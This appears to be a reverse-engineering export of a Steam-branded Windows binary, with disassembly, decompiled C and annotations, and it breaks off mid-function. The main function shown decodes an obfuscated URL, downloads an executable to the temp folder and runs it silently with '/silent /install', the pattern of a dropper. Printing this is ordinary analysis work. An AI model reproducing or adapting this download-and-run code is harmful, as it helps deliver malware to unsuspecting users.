140004d1b0f 84 a2 00 00 00JZ LAB_140004dc3
140004d2148 8d 15 10 48 02 00LEA RDX,[u_"url"_140029538]; "\"url\""
140004d2848 8b cbMOV RCX,RBX
140004d2be8 b0 4d 00 00CALL FUN_140009ae0
140004d3048 85 c0TEST RAX,RAX
140004d330f 84 8a 00 00 00JZ LAB_140004dc3
140004d39ba 22 00 00 00MOV EDX,0x22
140004d3e48 8d 48 0aLEA RCX,[RAX + 0xa]
140004d42e8 21 4d 00 00CALL FUN_140009a68
140004d4748 8b d8MOV RBX,RAX
140004d4a48 85 c0TEST RAX,RAX
140004d4d74 74JZ LAB_140004dc3
140004d4fba 22 00 00 00MOV EDX,0x22
LAB_140004d54:
140004d5448 89 bc 24 50 04 00 00MOV qword ptr [RSP + local_8],RDI
140004d5c48 8d 48 02LEA RCX,[RAX + 0x2]
140004d60e8 03 4d 00 00CALL FUN_140009a68
140004d6548 85 c0TEST RAX,RAX
140004d6874 51JZ LAB_140004dbb
140004d6a48 2b c3SUB RAX,RBX
140004d6d48 d1 f8SAR RAX,0x1
140004d70ff c8DEC EAX
140004d728d 48 ffLEA ECX,[RAX + -0x1]
140004d7581 f9 fd 01 00 00CMP ECX,0x1fd
140004d7b77 3eJA LAB_140004dbb
140004d7d4c 63 c8MOVSXD R9,EAX
140004d804c 8d 43 02LEA R8,[RBX + 0x2]
140004d84ba 00 02 00 00MOV EDX,0x200
140004d8948 8d 4c 24 40LEA RCX,[RSP + 0x40]
140004d8ee8 31 c5 00 00CALL FUN_1400112c4; FUN_1400112c4: GetLastError, SetLastError
140004d9345 33 c9XOR R9D,R9D
140004d96c7 44 24 28 01 00 00 00MOV dword ptr [RSP + local_430],0x1
140004d9e4c 8d 44 24 40LEA R8,[RSP + 0x40]
140004da348 c7 44 24 20 00 00 00 …MOV qword ptr [RSP + local_438],0x0
140004dac48 8d 15 95 47 02 00LEA RDX,[u_open_140029548]; "open"
140004db333 c9XOR ECX,ECX
140004db5ff 15 1d a6 01 00CALL qword ptr [PTR_ShellExecuteW_14001f3d8]
LAB_140004dbb:
140004dbb48 8b bc 24 50 04 00 00MOV RDI,qword ptr [RSP + local_8]
LAB_140004dc3:
140004dc348 8b 4c 24 30MOV RCX,qword ptr [RSP + local_428]
140004dc8ff 15 32 a7 01 00CALL qword ptr [PTR_CoTaskMemFree_14001f500]
LAB_140004dce:
140004dce48 8b 9c 24 60 04 00 00MOV RBX,qword ptr [RSP + local_res8]
140004dd633 c0XOR EAX,EAX
140004dd848 8b 8c 24 40 04 00 00MOV RCX,qword ptr [RSP + local_18]
140004de048 33 ccXOR RCX,RSP
140004de3e8 48 3b 00 00CALL __security_check_cookie
LAB_140004df0:
140004df033 c0XOR EAX,EAX
140004df248 8b 8c 24 40 04 00 00MOV RCX,qword ptr [RSP + local_18]
140004dfa48 33 ccXOR RCX,RSP
140004dfde8 2e 3b 00 00CALL __security_check_cookie

downloads a file from a XOR-decoded URL…

0x140005750748 bytes
undefined FUN_140005750(void)

downloads a file from a XOR-decoded URL to the temp directory via URLDownloadToFileW

Cited as
E1
Behaviours
B1
Called from
FUN_140005ae0
Calls
CoTaskMemFree ShellExecuteExW MessageBoxW URLDownloadToFileW GetTempPathW WaitForSingleObject DeleteFileW CloseHandle GetExitCodeProcess FUN_140001ff2, FUN_1400025d1, FUN_140003f60, FUN_140005700, __security_check_cookie, _calloc_base, FUN_140011230
Decompiled C · 148 lines
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void FUN_140005750(void)

{
  bool bVar1;
  bool bVar2;
  int iVar3;
  DWORD DVar4;
  HRESULT HVar5;
  BOOL BVar6;
  undefined8 uVar7;
  longlong *plVar8;
  undefined1 auStackY_4e8 [32];
  short *local_4b8;
  short *local_4b0;
  SHELLEXECUTEINFOW local_4a8;
  uint local_438;
  uint uStack_434;
  uint uStack_430;
  uint uStack_42c;
  uint local_428;
  uint uStack_424;
  uint uStack_420;
  uint uStack_41c;
  uint local_418;
  uint uStack_414;
  uint uStack_410;
  uint uStack_40c;
  uint local_408;
  uint uStack_404;
  uint uStack_400;
  uint uStack_3fc;
  uint local_3f8;
  uint uStack_3f4;
  uint uStack_3f0;
  uint uStack_3ec;
  uint local_3e8;
  uint uStack_3e4;
  uint uStack_3e0;
  uint uStack_3dc;
  undefined4 local_3d8;
  WCHAR local_228 [264];
  ulonglong local_18;
  
  local_18 = DAT_14002e040 ^ (ulonglong)auStackY_4e8;
  local_4b8 = (short *)0x0;
  iVar3 = FUN_1400025d1(0,&local_4b8);
  bVar2 = false;
  if (((iVar3 < 0) || (local_4b8 == (short *)0x0)) || (bVar1 = true, *local_4b8 == 0)) {
    bVar1 = bVar2;
  }
  if (local_4b8 != (short *)0x0) {
    CoTaskMemFree(local_4b8);
  }
  if (bVar1) {
LAB_14000598b:
    plVar8 = _calloc_base(1,0x10);
    if (plVar8 != (longlong *)0x0) {
      *(undefined4 *)(plVar8 + 1) = 1;
      *plVar8 = (longlong)&PTR_LAB_14002eb60;
      GetTempPathW(0x104,local_228);
      FUN_140003f60((undefined2 *)&local_438,0x104,0x140029998,local_228);
      FUN_140001ff2(0,&local_438,(undefined8 *)0x0,plVar8);
    }
  }
  else {
    DVar4 = GetTempPathW(0x104,local_228);
    if (DVar4 != 0) {
      FUN_140011230(local_228,0x104,0x140029930);
      local_3d8 = 0x33;
      local_438 = _DAT_14002a510 ^ _DAT_14002a2e0;
      uStack_434 = _UNK_14002a514 ^ _UNK_14002a2e4;
      uStack_430 = _UNK_14002a518 ^ _UNK_14002a2e8;
      uStack_42c = _UNK_14002a51c ^ _UNK_14002a2ec;
      local_428 = _DAT_14002a510 ^ _DAT_14002a2f0;
      uStack_424 = _UNK_14002a514 ^ _UNK_14002a2f4;
      uStack_420 = _UNK_14002a518 ^ _UNK_14002a2f8;
      uStack_41c = _UNK_14002a51c ^ _UNK_14002a2fc;
      local_418 = _DAT_14002a510 ^ _DAT_14002a300;
      uStack_414 = _UNK_14002a514 ^ _UNK_14002a304;
      uStack_410 = _UNK_14002a518 ^ _UNK_14002a308;
      uStack_40c = _UNK_14002a51c ^ _UNK_14002a30c;
      local_3f8 = _DAT_14002a510 ^ _DAT_14002a320;
      uStack_3f4 = _UNK_14002a514 ^ _UNK_14002a324;
      uStack_3f0 = _UNK_14002a518 ^ _UNK_14002a328;
      uStack_3ec = _UNK_14002a51c ^ _UNK_14002a32c;
      local_408 = _DAT_14002a510 ^ _DAT_14002a310;
      uStack_404 = _UNK_14002a514 ^ _UNK_14002a314;
      uStack_400 = _UNK_14002a518 ^ _UNK_14002a318;
      uStack_3fc = _UNK_14002a51c ^ _UNK_14002a31c;
      local_3e8 = _DAT_14002a510 ^ s_>ZgZhZkZhZnZmZjZiZ_14002a330._0_4_;
      uStack_3e4 = _UNK_14002a514 ^ s_>ZgZhZkZhZnZmZjZiZ_14002a330._4_4_;
      uStack_3e0 = _UNK_14002a518 ^ s_>ZgZhZkZhZnZmZjZiZ_14002a330._8_4_;
      uStack_3dc = _UNK_14002a51c ^ s_>ZgZhZkZhZnZmZjZiZ_14002a330._12_4_;
      HVar5 = URLDownloadToFileW((LPUNKNOWN)0x0,(LPCWSTR)&local_438,local_228,0,
                                 (LPBINDSTATUSCALLBACK)0x0);
      if (-1 < HVar5) {
        local_4a8.lpVerb = L"open";
        local_4a8.hwnd = (HWND)0x0;
        local_4a8.lpFile = local_228;
        local_4a8.lpDirectory = (LPCWSTR)0x0;
        local_4a8.lpParameters = L"/silent /install";
        local_4a8.hInstApp = (HINSTANCE)0x0;
        local_4a8.cbSize = 0x70;
        local_4a8.fMask = 0x40;
        local_4a8.lpIDList = (void *)0x0;
        local_4a8.lpClass = (LPCWSTR)0x0;
        local_4a8.nShow = 0;
        local_4a8._52_4_ = 0;
        local_4a8.hkeyClass = (HKEY)0x0;
        local_4a8.dwHotKey = 0;
        local_4a8._92_4_ = 0;
        local_4a8.u.hIcon = (HANDLE)0x0;
        local_4a8.hProcess = (HANDLE)0x0;
        BVar6 = ShellExecuteExW(&local_4a8);
        if ((BVar6 == 0) || (local_4a8.hProcess == (HANDLE)0x0)) {
          DeleteFileW(local_228);
        }
        else {
          WaitForSingleObject(local_4a8.hProcess,600000);
          local_4b8 = (short *)CONCAT44(local_4b8._4_4_,1);
          GetExitCodeProcess(local_4a8.hProcess,(LPDWORD)&local_4b8);
          CloseHandle(local_4a8.hProcess);
          DeleteFileW(local_228);
          if (((int)local_4b8 == 0) || (uVar7 = FUN_140005700(), bVar1 = bVar2, (int)uVar7 != 0)) {
            bVar1 = true;
          }
          if (bVar1) {
            local_4b0 = (short *)0x0;
            iVar3 = FUN_1400025d1(0,&local_4b0);
            if (((iVar3 < 0) || (local_4b0 == (short *)0x0)) || (bVar1 = true, *local_4b0 == 0)) {
              bVar1 = bVar2;
            }
            if (local_4b0 != (short *)0x0) {
              CoTaskMemFree(local_4b0);
            }
            if (bVar1) goto LAB_14000598b;
          }
        }
      }
    }
    MessageBoxW(DAT_14002ffc8,L"WebView2 Runtime not found.",L"Steam",0x10);
  }
}

Assembly · 162 instructions, 13 annotated
AddressBytesInstructionComment
14000575048 89 5c 24 08MOV qword ptr [RSP + local_res8],RBX
14000575548 89 7c 24 10MOV qword ptr [RSP + local_res10],RDI
14000575a55PUSH RBP
14000575b48 8d ac 24 20 fc ff ffLEA RBP,[RSP + -0x3e0]
14000576348 81 ec e0 04 00 00SUB RSP,0x4e0
14000576a48 8b 05 cf 88 02 00MOV RAX,qword ptr [DAT_14002e040]
14000577148 33 c4XOR RAX,RSP
14000577448 89 85 d0 03 00 00MOV qword ptr [RBP + local_18],RAX
14000577b33 dbXOR EBX,EBX
14000577d48 8d 54 24 30LEA RDX,[RSP + 0x30]
14000578233 c9XOR ECX,ECX
14000578448 89 5c 24 30MOV qword ptr [RSP + local_4b8],RBX
140005789e8 43 ce ff ffCALL FUN_1400025d1
14000578e48 8b 4c 24 30MOV RCX,qword ptr [RSP + local_4b8]
14000579385 c0TEST EAX,EAX
14000579578 0fJS LAB_1400057a6
14000579748 85 c9TEST RCX,RCX
14000579a74 0aJZ LAB_1400057a6
14000579cbf 01 00 00 00MOV EDI,0x1
1400057a166 39 19CMP word ptr [RCX],BX
1400057a475 02JNZ LAB_1400057a8
LAB_1400057a6:
1400057a68b fbMOV EDI,EBX
LAB_1400057a8:
1400057a848 85 c9TEST RCX,RCX
1400057ab74 06JZ LAB_1400057b3
1400057adff 15 4d 9d 01 00CALL qword ptr [PTR_CoTaskMemFree_14001f500]
LAB_1400057b3:
1400057b385 ffTEST EDI,EDI
1400057b50f 85 d0 01 00 00JNZ LAB_14000598b
1400057bb48 8d 95 c0 01 00 00LEA RDX,[RBP + 0x1c0]
1400057c2b9 04 01 00 00MOV ECX,0x104
1400057c7ff 15 2b 9a 01 00CALL qword ptr [PTR_GetTempPathW_14001f1f8]
1400057cd85 c0TEST EAX,EAX
1400057cf0f 84 57 02 00 00JZ LAB_140005a2c
1400057d54c 8d 05 54 41 02 00LEA R8,[u_MicrosoftEdgeWebview2Setup.exe_140029930]; "MicrosoftEdgeWebview2Setup.exe"
1400057dcba 04 01 00 00MOV EDX,0x104
1400057e148 8d 8d c0 01 00 00LEA RCX,[RBP + 0x1c0]
1400057e8e8 43 ba 00 00CALL FUN_140011230; FUN_140011230: GetLastError, SetLastError
1400057ed66 0f 6f 15 1b 4d 02 00MOVDQA XMM2,xmmword ptr [DAT_14002a510]
1400057f54c 8d 85 c0 01 00 00LEA R8,[RBP + 0x1c0]
1400057fc66 0f 6f c2MOVDQA XMM0,XMM2
140005800c7 45 10 33 00 00 00MOV dword ptr [RBP + local_3d8],0x33
1400058070f 57 05 d2 4a 02 00XORPS XMM0,xmmword ptr [DAT_14002a2e0]
14000580e48 8d 55 b0LEA RDX,[RBP + -0x50]
140005812f3 0f 7f 45 b0MOVDQU xmmword ptr [RBP + local_438[0]],XMM0
14000581766 0f 6f caMOVDQA XMM1,XMM2
14000581b0f 57 0d ce 4a 02 00XORPS XMM1,xmmword ptr [DAT_14002a2f0]
14000582266 0f 6f c2MOVDQA XMM0,XMM2
1400058260f 57 05 d3 4a 02 00XORPS XMM0,xmmword ptr [DAT_14002a300]
14000582d45 33 c9XOR R9D,R9D
140005830f3 0f 7f 45 d0MOVDQU xmmword ptr [RBP + local_418[0]],XMM0
14000583533 c9XOR ECX,ECX
140005837f3 0f 7f 4d c0MOVDQU xmmword ptr [RBP + local_428[0]],XMM1
14000583c66 0f 6f c2MOVDQA XMM0,XMM2
1400058400f 57 05 d9 4a 02 00XORPS XMM0,xmmword ptr [DAT_14002a320]
14000584766 0f 6f caMOVDQA XMM1,XMM2
14000584b0f 57 0d be 4a 02 00XORPS XMM1,xmmword ptr [DAT_14002a310]
1400058520f 57 15 d7 4a 02 00XORPS XMM2,xmmword ptr [s_>ZgZhZkZhZnZmZjZiZ_14002a330]; ">ZgZhZkZhZnZmZjZiZ"
140005859f3 0f 7f 45 f0MOVDQU xmmword ptr [RBP + local_3f8[0]],XMM0
14000585ef3 0f 7f 4d e0MOVDQU xmmword ptr [RBP + local_408[0]],XMM1
140005863f3 0f 7f 55 00MOVDQU xmmword ptr [RBP],XMM2
14000586848 89 5c 24 20MOV qword ptr [RSP + local_4c8],RBX
14000586dff 15 b5 9c 01 00CALL qword ptr [PTR_URLDownloadToFileW_14001f528]
14000587385 c0TEST EAX,EAX
1400058750f 88 b1 01 00 00JS LAB_140005a2c
14000587b0f 57 c0XORPS XMM0,XMM0
14000587e48 8d 05 c3 3c 02 00LEA RAX,[u_open_140029548]; "open"
1400058850f 11 44 24 50MOVUPS xmmword ptr [RSP + local_498[0]],XMM0
14000588a48 89 44 24 50MOV qword ptr [RSP + local_498[0]],RAX; "open"
14000588f48 8d 4c 24 40LEA RCX,[RSP + 0x40]
1400058940f 11 44 24 40MOVUPS xmmword ptr [RSP + local_4a8[0]],XMM0
14000589948 8d 85 c0 01 00 00LEA RAX,[RBP + 0x1c0]
1400058a0c7 44 24 40 70 00 00 00MOV dword ptr [RSP + local_4a8[0]],0x70
1400058a848 89 44 24 58MOV qword ptr [RSP + local_498[8]],RAX
1400058ad48 8d 05 bc 40 02 00LEA RAX,[u_/silent_/install_140029970]; "/silent /install"
1400058b40f 11 44 24 60MOVUPS xmmword ptr [RSP + local_488[0]],XMM0
1400058b948 89 44 24 60MOV qword ptr [RSP + local_488[0]],RAX; "/silent /install"
1400058be0f 11 44 24 70MOVUPS xmmword ptr [RSP + local_478[0]],XMM0
1400058c3c7 44 24 44 40 00 00 00MOV dword ptr [RSP + local_4a8[4]],0x40
1400058cb0f 11 45 80MOVUPS xmmword ptr [RBP + local_468[0]],XMM0
1400058cf89 5c 24 70MOV dword ptr [RSP + local_478[0]],EBX
1400058d30f 11 45 90MOVUPS xmmword ptr [RBP + local_458[0]],XMM0
1400058d70f 11 45 a0MOVUPS xmmword ptr [RBP + local_448[0]],XMM0
1400058dbff 15 df 9a 01 00CALL qword ptr [PTR_ShellExecuteExW_14001f3c0]
1400058e185 c0TEST EAX,EAX
1400058e30f 84 36 01 00 00JZ LAB_140005a1f
1400058e948 8b 4d a8MOV RCX,qword ptr [RBP + local_448[8]]
1400058ed48 85 c9TEST RCX,RCX
1400058f00f 84 29 01 00 00JZ LAB_140005a1f
1400058f6ba c0 27 09 00MOV EDX,0x927c0
1400058fbff 15 07 99 01 00CALL qword ptr [PTR_WaitForSingleObject_14001f208]
14000590148 8b 4d a8MOV RCX,qword ptr [RBP + local_448[8]]
14000590548 8d 54 24 30LEA RDX,[RSP + 0x30]
14000590ac7 44 24 30 01 00 00 00MOV dword ptr [RSP + local_4b8],0x1
140005912ff 15 88 99 01 00CALL qword ptr [PTR_GetExitCodeProcess_14001f2a0]
14000591848 8b 4d a8MOV RCX,qword ptr [RBP + local_448[8]]
14000591cff 15 46 99 01 00CALL qword ptr [PTR_CloseHandle_14001f268]
14000592248 8d 8d c0 01 00 00LEA RCX,[RBP + 0x1c0]
140005929ff 15 29 99 01 00CALL qword ptr [PTR_DeleteFileW_14001f258]
14000592f39 5c 24 30CMP dword ptr [RSP + local_4b8],EBX
14000593374 0bJZ LAB_140005940
140005935e8 c6 fd ff ffCALL FUN_140005700; FUN_140005700: CoTaskMemFree
14000593a85 c0TEST EAX,EAX
14000593c8b c3MOV EAX,EBX
14000593e74 05JZ LAB_140005945
LAB_140005940:
140005940b8 01 00 00 00MOV EAX,0x1
LAB_140005945:
14000594585 c0TEST EAX,EAX
1400059470f 84 df 00 00 00JZ LAB_140005a2c
14000594d48 8d 54 24 38LEA RDX,[RSP + 0x38]
14000595248 89 5c 24 38MOV qword ptr [RSP + local_4b0],RBX
14000595733 c9XOR ECX,ECX
140005959e8 73 cc ff ffCALL FUN_1400025d1
14000595e48 8b 4c 24 38MOV RCX,qword ptr [RSP + local_4b0]
14000596385 c0TEST EAX,EAX
14000596578 0fJS LAB_140005976
14000596748 85 c9TEST RCX,RCX
14000596a74 0aJZ LAB_140005976
14000596cbf 01 00 00 00MOV EDI,0x1
14000597166 39 19CMP word ptr [RCX],BX
14000597475 02JNZ LAB_140005978
LAB_140005976:
1400059768b fbMOV EDI,EBX
LAB_140005978:
14000597848 85 c9TEST RCX,RCX
14000597b74 06JZ LAB_140005983
14000597dff 15 7d 9b 01 00CALL qword ptr [PTR_CoTaskMemFree_14001f500]
LAB_140005983:
14000598385 ffTEST EDI,EDI
1400059850f 84 a1 00 00 00JZ LAB_140005a2c
LAB_14000598b:
14000598bba 10 00 00 00MOV EDX,0x10
140005990b9 01 00 00 00MOV ECX,0x1
140005995e8 0e 8e 00 00CALL _calloc_base
14000599a48 8b f8MOV RDI,RAX
14000599d48 85 c0TEST RAX,RAX
1400059a074 57JZ LAB_1400059f9
1400059a248 8d 05 b7 91 02 00LEA RAX,[PTR_LAB_14002eb60]
1400059a9c7 47 08 01 00 00 00MOV dword ptr [RDI + 0x8],0x1
1400059b048 8d 95 c0 01 00 00LEA RDX,[RBP + 0x1c0]
1400059b748 89 07MOV qword ptr [RDI],RAX
1400059bab9 04 01 00 00MOV ECX,0x104
1400059bfff 15 33 98 01 00CALL qword ptr [PTR_GetTempPathW_14001f1f8]
1400059c54c 8d 8d c0 01 00 00LEA R9,[RBP + 0x1c0]
1400059ccba 04 01 00 00MOV EDX,0x104
1400059d14c 8d 05 c0 3f 02 00LEA R8,[u_%sSteamWV_140029998]; "%sSteamWV"
1400059d848 8d 4d b0LEA RCX,[RBP + -0x50]
1400059dce8 7f e5 ff ffCALL FUN_140003f60; FUN_140003f60: GetLastError, SetLastError
1400059e14c 8b cfMOV R9,RDI
1400059e448 8d 55 b0LEA RDX,[RBP + -0x50]
1400059e845 33 c0XOR R8D,R8D
1400059eb33 c9XOR ECX,ECX
1400059ede8 00 c6 ff ffCALL FUN_140001ff2; FUN_140001ff2: GetProcAddress, EventRegister, EventSetInformation, EventWriteTransfer +2
1400059f2f7 d0NOT EAX
1400059f4c1 e8 1fSHR EAX,0x1f
1400059f78b d8MOV EBX,EAX
LAB_1400059f9:
1400059f98b c3MOV EAX,EBX
LAB_1400059fb:
1400059fb48 8b 8d d0 03 00 00MOV RCX,qword ptr [RBP + local_18]
140005a0248 33 ccXOR RCX,RSP
140005a05e8 26 2f 00 00CALL __security_check_cookie
LAB_140005a1f:
140005a1f48 8d 8d c0 01 00 00LEA RCX,[RBP + 0x1c0]
140005a26ff 15 2c 98 01 00CALL qword ptr [PTR_DeleteFileW_14001f258]
LAB_140005a2c:
140005a2c48 8b 0d 95 a5 02 00MOV RCX,qword ptr [DAT_14002ffc8]
140005a334c 8d 05 ce 3d 02 00LEA R8,[u_Steam_140029808]; "Steam"
140005a3a41 b9 10 00 00 00MOV R9D,0x10
140005a4048 8d 15 b1 3e 02 00LEA RDX,[u_WebView2_Runtime_not_found._1400298f8]; "WebView2 Runtime not found."
140005a47ff 15 53 9a 01 00CALL qword ptr [PTR_MessageBoxW_14001f4a0]
140005a4d33 c0XOR EAX,EAX
140005a4feb aaJMP LAB_1400059fb

creates rounded rectangle window region…

0x140005a60118 bytes
undefined FUN_140005a60(HWND param_1)

creates rounded rectangle window region with 12px corners via CreateRoundRectRgn and SetWindowRgn

Cited as
E19
Behaviours
B7
Called from
FUN_140005ae0, FUN_140008650
Calls
SetWindowRgn GetWindowRect CreateRoundRectRgn __security_check_cookie
Decompiled C · 18 lines
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140005a60(HWND param_1)

{
  HRGN hRgn;
  undefined1 auStackY_58 [32];
  tagRECT local_28;
  ulonglong local_18;
  
  local_18 = DAT_14002e040 ^ (ulonglong)auStackY_58;
  GetWindowRect(param_1,&local_28);
  hRgn = CreateRoundRectRgn(0,0,(local_28.right - local_28.left) + 1,
                            (local_28.bottom - local_28.top) + 1,0xc,0xc);
  SetWindowRgn(param_1,hRgn,1);
}

Assembly · 26 instructions, 0 annotated
AddressBytesInstructionComment
140005a6040 53PUSH RBX
140005a6248 83 ec 50SUB RSP,0x50
140005a6648 8b 05 d3 85 02 00MOV RAX,qword ptr [DAT_14002e040]
140005a6d48 33 c4XOR RAX,RSP
140005a7048 89 44 24 40MOV qword ptr [RSP + local_18],RAX
140005a7548 8d 54 24 30LEA RDX,[RSP + 0x30]
140005a7a48 8b d9MOV RBX,RCX
140005a7dff 15 25 9a 01 00CALL qword ptr [PTR_GetWindowRect_14001f4a8]
140005a8344 8b 44 24 38MOV R8D,dword ptr [RSP + local_20]
140005a8833 d2XOR EDX,EDX
140005a8a44 2b 44 24 30SUB R8D,dword ptr [RSP + local_28]
140005a8f33 c9XOR ECX,ECX
140005a9144 8b 4c 24 3cMOV R9D,dword ptr [RSP + local_1c]
140005a9644 2b 4c 24 34SUB R9D,dword ptr [RSP + local_24]
140005a9b41 ff c1INC R9D
140005a9ec7 44 24 28 0c 00 00 00MOV dword ptr [RSP + local_30],0xc
140005aa641 ff c0INC R8D
140005aa9c7 44 24 20 0c 00 00 00MOV dword ptr [RSP + local_38],0xc
140005ab1ff 15 d1 95 01 00CALL qword ptr [PTR_CreateRoundRectRgn_14001f088]
140005ab741 b8 01 00 00 00MOV R8D,0x1
140005abd48 8b cbMOV RCX,RBX
140005ac048 8b d0MOV RDX,RAX
140005ac3ff 15 cf 99 01 00CALL qword ptr [PTR_SetWindowRgn_14001f498]
140005ac948 8b 4c 24 40MOV RCX,qword ptr [RSP + local_18]
140005ace48 33 ccXOR RCX,RSP
140005ad1e8 5a 2e 00 00CALL __security_check_cookie

wndProc

0x140005ae0282 bytes
undefined FUN_140005ae0(HWND param_1, UINT param_2, WPARAM param_3, LPARAM param_4)

WndProc: handles WM_TIMER to trigger delayed download, WM_DESTROY for cleanup, WM_SIZE for rounded-region resize

Cited as
E17
Behaviours
B1, B7
Called from
none found
Calls
GetClientRect KillTimer PostQuitMessage DefWindowProcW FUN_140005750, FUN_140005a60, __security_check_cookie, FUN_1400112a8
Decompiled C · 56 lines
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140005ae0(HWND param_1,UINT param_2,WPARAM param_3,LPARAM param_4)

{
  undefined1 auStack_58 [32];
  LONG local_38;
  LONG LStack_34;
  LONG LStack_30;
  LONG LStack_2c;
  tagRECT local_28;
  ulonglong local_18;
  
  local_18 = DAT_14002e040 ^ (ulonglong)auStack_58;
  if (param_2 == 2) {
    if (DAT_14002ffd0 != (longlong *)0x0) {
      (**(code **)(*DAT_14002ffd0 + 0x10))();
      DAT_14002ffd0 = (longlong *)0x0;
    }
    if (DAT_14002ffa8 != (longlong *)0x0) {
      (**(code **)(*DAT_14002ffa8 + 0x10))();
      DAT_14002ffa8 = (longlong *)0x0;
    }
    if (DAT_14002ffd8 != (longlong *)0x0) {
      (**(code **)(*DAT_14002ffd8 + 0x10))();
      DAT_14002ffd8 = (longlong *)0x0;
    }
    if (DAT_14002ffb0 != (LPVOID)0x0) {
      FUN_1400112a8(DAT_14002ffb0);
      DAT_14002ffb0 = (LPVOID)0x0;
    }
    PostQuitMessage(0);
  }
  else if (param_2 == 5) {
    FUN_140005a60(param_1);
    if (DAT_14002ffa8 != (longlong *)0x0) {
      GetClientRect(param_1,&local_28);
      local_38 = local_28.left;
      LStack_34 = local_28.top;
      LStack_30 = local_28.right;
      LStack_2c = local_28.bottom;
      (**(code **)(*DAT_14002ffa8 + 0x30))(DAT_14002ffa8,&local_38);
    }
  }
  else {
    if (param_2 != 0x113) {
      DefWindowProcW(param_1,param_2,param_3,param_4);
    }
    if (param_3 == 1) {
      KillTimer(param_1,1);
      FUN_140005750();
    }
  }
}

Assembly · 65 instructions, 3 annotated
AddressBytesInstructionComment
140005ae040 53PUSH RBX
140005ae248 83 ec 50SUB RSP,0x50
140005ae648 8b 05 53 85 02 00MOV RAX,qword ptr [DAT_14002e040]
140005aed48 33 c4XOR RAX,RSP
140005af048 89 44 24 40MOV qword ptr [RSP + local_18],RAX
140005af548 8b d9MOV RBX,RCX
140005af883 fa 02CMP EDX,0x2
140005afb0f 84 83 00 00 00JZ LAB_140005b84
140005b0183 fa 05CMP EDX,0x5
140005b0474 3eJZ LAB_140005b44
140005b0681 fa 13 01 00 00CMP EDX,0x113
140005b0c74 19JZ LAB_140005b27
140005b0eff 15 ac 99 01 00CALL qword ptr [PTR_DefWindowProcW_14001f4c0]
140005b1448 8b 4c 24 40MOV RCX,qword ptr [RSP + local_18]
140005b1948 33 ccXOR RCX,RSP
140005b1ce8 0f 2e 00 00CALL __security_check_cookie
LAB_140005b27:
140005b2749 83 f8 01CMP R8,0x1
140005b2b0f 85 c0 00 00 00JNZ LAB_140005bf1
140005b3149 8b d0MOV RDX,R8
140005b34ff 15 36 99 01 00CALL qword ptr [PTR_KillTimer_14001f470]
140005b3ae8 11 fc ff ffCALL FUN_140005750; FUN_140005750: CoTaskMemFree, GetTempPathW, URLDownloadToFileW, ShellExecuteExW +5
140005b3fe9 ad 00 00 00JMP LAB_140005bf1
LAB_140005b44:
140005b44e8 17 ff ff ffCALL FUN_140005a60; FUN_140005a60: GetWindowRect, CreateRoundRectRgn, SetWindowRgn
140005b4948 83 3d 57 a4 02 00 00CMP qword ptr [DAT_14002ffa8],0x0
140005b510f 84 9a 00 00 00JZ LAB_140005bf1
140005b5748 8d 54 24 30LEA RDX,[RSP + 0x30]
140005b5c48 8b cbMOV RCX,RBX
140005b5fff 15 03 99 01 00CALL qword ptr [PTR_GetClientRect_14001f468]
140005b6548 8b 0d 3c a4 02 00MOV RCX,qword ptr [DAT_14002ffa8]
140005b6c48 8d 54 24 20LEA RDX,[RSP + 0x20]
140005b710f 28 44 24 30MOVAPS XMM0,xmmword ptr [RSP + local_28[0]]
140005b7666 0f 7f 44 24 20MOVDQA xmmword ptr [RSP + local_38[0]],XMM0
140005b7c48 8b 01MOV RAX,qword ptr [RCX]
140005b7fff 50 30CALL qword ptr [RAX + 0x30]
140005b82eb 6dJMP LAB_140005bf1
LAB_140005b84:
140005b8448 8b 0d 45 a4 02 00MOV RCX,qword ptr [DAT_14002ffd0]
140005b8b33 dbXOR EBX,EBX
140005b8d48 85 c9TEST RCX,RCX
140005b9074 0dJZ LAB_140005b9f
140005b9248 8b 01MOV RAX,qword ptr [RCX]
140005b95ff 50 10CALL qword ptr [RAX + 0x10]
140005b9848 89 1d 31 a4 02 00MOV qword ptr [DAT_14002ffd0],RBX
LAB_140005b9f:
140005b9f48 8b 0d 02 a4 02 00MOV RCX,qword ptr [DAT_14002ffa8]
140005ba648 85 c9TEST RCX,RCX
140005ba974 0dJZ LAB_140005bb8
140005bab48 8b 01MOV RAX,qword ptr [RCX]
140005baeff 50 10CALL qword ptr [RAX + 0x10]
140005bb148 89 1d f0 a3 02 00MOV qword ptr [DAT_14002ffa8],RBX
LAB_140005bb8:
140005bb848 8b 0d 19 a4 02 00MOV RCX,qword ptr [DAT_14002ffd8]
140005bbf48 85 c9TEST RCX,RCX
140005bc274 0dJZ LAB_140005bd1
140005bc448 8b 01MOV RAX,qword ptr [RCX]
140005bc7ff 50 10CALL qword ptr [RAX + 0x10]
140005bca48 89 1d 07 a4 02 00MOV qword ptr [DAT_14002ffd8],RBX
LAB_140005bd1:
140005bd148 8b 0d d8 a3 02 00MOV RCX,qword ptr [DAT_14002ffb0]
140005bd848 85 c9TEST RCX,RCX
140005bdb74 0cJZ LAB_140005be9
140005bdde8 c6 b6 00 00CALL FUN_1400112a8; FUN_1400112a8: HeapFree, GetLastError
140005be248 89 1d c7 a3 02 00MOV qword ptr [DAT_14002ffb0],RBX
LAB_140005be9:
140005be933 c9XOR ECX,ECX
140005bebff 15 87 98 01 00CALL qword ptr [PTR_PostQuitMessage_14001f478]
LAB_140005bf1:
140005bf133 c0XOR EAX,EAX
140005bf348 8b 4c 24 40MOV RCX,qword ptr [RSP + local_18]
140005bf848 33 ccXOR RCX,RSP
140005bfbe8 30 2d 00 00CALL __security_check_cookie

checks admin privileges via…

0x140005e80127 bytes
undefined4 FUN_140005e80(void)

checks admin privileges via OpenProcessToken and GetTokenInformation

Cited as
E12
Behaviours
B10
Called from
FUN_140006d70, FUN_140007950
Calls
OpenProcessToken GetTokenInformation GetCurrentProcess CloseHandle
Decompiled C · 27 lines
undefined4 FUN_140005e80(void)

{
  BOOL BVar1;
  HANDLE ProcessHandle;
  undefined4 uVar2;
  DWORD local_res8 [2];
  int local_res10 [2];
  HANDLE local_res18 [2];
  
  uVar2 = 0;
  local_res18[0] = (HANDLE)0x0;
  ProcessHandle = GetCurrentProcess();
  BVar1 = OpenProcessToken(ProcessHandle,8,local_res18);
  if (BVar1 == 0) {
    return 0;
  }
  local_res8[0] = 4;
